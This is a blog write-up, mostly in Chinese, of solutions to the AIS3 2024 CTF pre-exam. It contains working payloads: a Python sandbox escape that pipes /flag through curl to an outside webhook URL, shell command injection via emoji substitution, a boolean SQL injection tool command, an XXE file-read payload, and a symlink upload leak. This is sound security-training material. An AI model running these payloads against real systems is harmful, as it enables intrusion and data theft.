Home [CTF] AIS3-Pre-exam-2024 Writeup
Post
Cancel

[CTF] AIS3-Pre-exam-2024 Writeup

AIS3 pre-exam 2024

Evil Calculator

  • expression 有過濾_
  • 無法直接回顯,可用curl帶出
    1
    2
    
    {"expression":"eval(data['test'])",
    "test":"''.__class__.__base__.__subclasses__()[154].__init__.__globals__['system']('curl https://webhook.site/49d52fa6-4db9-4ad8-8b6e-ee41224137b0 -d $(cat /flag)')"}
    

The Long Print

  • 用ghidra patch掉sleep()

Three Dimensional Secret

https://nraynaud.github.io/webgcode/

Quantum Nim Heist

  • 按下3,可以強制讓電腦走一步

Emoji Console

  • source code
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
#!/usr/local/bin/python3

import os
from flask import Flask,send_file,request,redirect,jsonify,render_template
import json
import string
def translate(command:str)->str:
    emoji_table = json.load(open('emoji.json','r',encoding='utf-8'))
    for key in emoji_table:
        if key in command:
            command = command.replace(key,emoji_table[key])
    return command.lower()

app = Flask(__name__)

@app.route('/')
def index():
    return render_template('index.html')

@app.route('/api')
def api():
    command = request.args.get('command')

    if len(set(command).intersection(set(string.printable.replace(" ",''))))>0:
        return jsonify({'command':command,'result':'Invalid command'})
    command = translate(command)
    result = os.popen(command+" 2>&1").read()
    return jsonify({'command':command,'result':result})


if __name__ == '__main__':
    app.run('0.0.0.0',5000)

{
    "😐": ":|",
    "🤬": "#$%&!",
    "💿": "CD",
    "⭐": "*",
    "🐱": "cat",
    "😓": ";/",
    "🚩": "flag",
    }
  • 方法1

  • 因為分號截斷之後,&讓後面背景執行,!不影響執行

1
cd flag ;/:$#$%&! cat *

1
cd flag ;/:$#$%&! python *

  • 方法2

  • 執行cd flag,然後執行 p: 再把輸出餵給 cat *

1
cd flag;p:| python *

It’s MyGO!!!!!

  • boolean sql injection

    1
    
      python2 mysql-truefalse.py  -u "http://chals1.ais3.org:11454/song?id=4 and 1=1" -f "/flag"
    
  • 1=1
  • 1=2

  • https://github.com/agix/My-SQL-boolean-based-injection-tools

It’s MyGO!!!!! Part-time Worker

  • 上傳 ln -s /app

  • 但是在上傳之前,要先隨便傳一張照片,拿現在的session的網址,不然會因為/app檔案太多(包含全部人session的檔案),直接當掉。

  • 可以直接連結到 /app

  • 可以看到前面有import secret,發現secret key

  • 根據code,加上Admin

  • 傳送packet

火拳のエース

  • 大致上是一開始有4段buffer,每段8個字的flag
  • 先去和一些hex做XOR

  • 再去做complex_function,比對是否為

  • main func

  • decode.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
a = "DHLIYJEG"
b = "MZRERYND"
c = "RUYODBAH"
d = "BKEMPBRE"

a1 = "\x0E\x0D\x7D\x06\x0F\x17\x76\x04"
a2 = "\x6d\x00\x1b\x7c\x6c\x13\x62\x11"
a3 = "\x1E\x7E\x06\x13\x07\x66\x0E\x71"
a4 = "\x17\x14\x1D\x70\x79\x67\x74\x33"



def complex_function(value1, value2):
    temp2 = 0
    temp1 = 0

    if 63 < value1 < 90:
        temp2 = (value1 + -0x41 + value2 * 0x11) % 0x1a
        temp1 = value2 % 3 + 3
        value2 = value2 % 3
        if value2 == 2:
            temp2 = ((temp2 - temp1) + 0x1a) % 0x1a
        elif value2 < 3:
            if value2 == 0:
                temp2 = (temp2 * temp1 + 7) % 0x1a
            elif value2 == 1:
                temp2 = (temp1 * 2 + temp2) % 0x1a

    return temp2 + 0x41

print("AIS3{G0D")

ans1= ""
for i in range(8):
    for value1 in range(64,90,1):
        ans = complex_function(value1,0x0+i)
        ans = chr(ans)
        if(a[i]==ans):
            ans1 = ans1 + chr(value1)

for i in range(8):
    test= ans1
    ans = ord(test[i]) ^ ord(a1[i])
    print(chr(ans),end='')
print()

ans2= ""
for i in range(8):
    for value1 in range(64,90,1):
        ans = complex_function(value1,0x20+i)
        ans = chr(ans)
        if(b[i]==ans):
            ans2 = ans2 + chr(value1)

for i in range(8):
    test= ans2
    ans = ord(test[i]) ^ ord(a2[i])
    print(chr(ans),end='')
print()

ans3 = ""
for i in range(8):
    for value1 in range(64,90,1):
        ans = complex_function(value1,0x40+i)
        ans = chr(ans)
        if(c[i]==ans):
            ans3  = ans3  + chr(value1)

for i in range(8):
    test= ans3
    ans = ord(test[i]) ^ ord(a3[i])
    print(chr(ans),end='')
print()

ans4 = ""
for i in range(8):
    for value1 in range(64,90,1):
        ans = complex_function(value1,0x60+i)
        ans = chr(ans)
        if(d[i]==ans):
            ans4  = ans4  + chr(value1)

for i in range(8):
    test= ans4
    ans = ord(test[i]) ^ ord(a4[i])
    print(chr(ans),end='')
print()

Ebook Parser

  • XXE
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///flag" >]>
<FictionBook xmlns="http://www.gribuser.ru/xml/fictionbook/2.0" xmlns:l="http://www.w3.org/1999/xlink">
<description>
    <title-info>
        <genre>antique</genre>
        <author><first-name></first-name><last-name>&xxe;</last-name></author>
        <book-title>&xxe;</book-title>
        <lang>&xxe;</lang>
    </title-info>
    <document-info>
        <author><first-name></first-name><last-name>Unknown</last-name></author>
        <program-used>calibre 6.13.0</program-used>
        <date>26.5.2024</date>
        <id>eb5cbf82-22b5-4331-8009-551a95342ea0</id>
        <version>1.0</version>
    </document-info>
    <publish-info>
    </publish-info>
</description>
<body>
<section>
<p>&lt;root&gt;</p>
<p>12345</p>
<p>&lt;/root&gt;</p>
</section>
</body>

</FictionBook>

Hash Guesser

  • 答案就在https://github.com/python-pillow/Pillow/issues/2982

  • ImageChops.difference
    • 需要相同的mode (‘L’)
    • 它只計算大小子集圖像的差異,例如一張10x10和1x1,只會輸出1x1的不同
    • 因此只要上傳一張1x1的mode(‘L’)的黑色圖片
  • 題目只有黑白,因此每次上傳都有1/2機會。

  • 驗證的code
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from PIL import Image, ImageChops
import hashlib,secrets

img = Image.open('test2.png')
img = img.convert('L')
#img.save("testaaaaaaa.png","png")

h = hashlib.sha256(secrets.token_bytes(16)).hexdigest()
image = Image.new("L", (16, 16), 0)
pixels = [255 if c == '1' else 0 for c in bin(int(h, 16))[2:].zfill(256)]
image.putdata(pixels)

print(img)
print(image)

diff = ImageChops.difference(image, img)
print(diff)
print(diff.getbbox())

End

  • 15/328

This post is licensed under CC BY 4.0 by the author.
Contents

[CTF] GCCG Writeup

-

Comments powered by Disqus.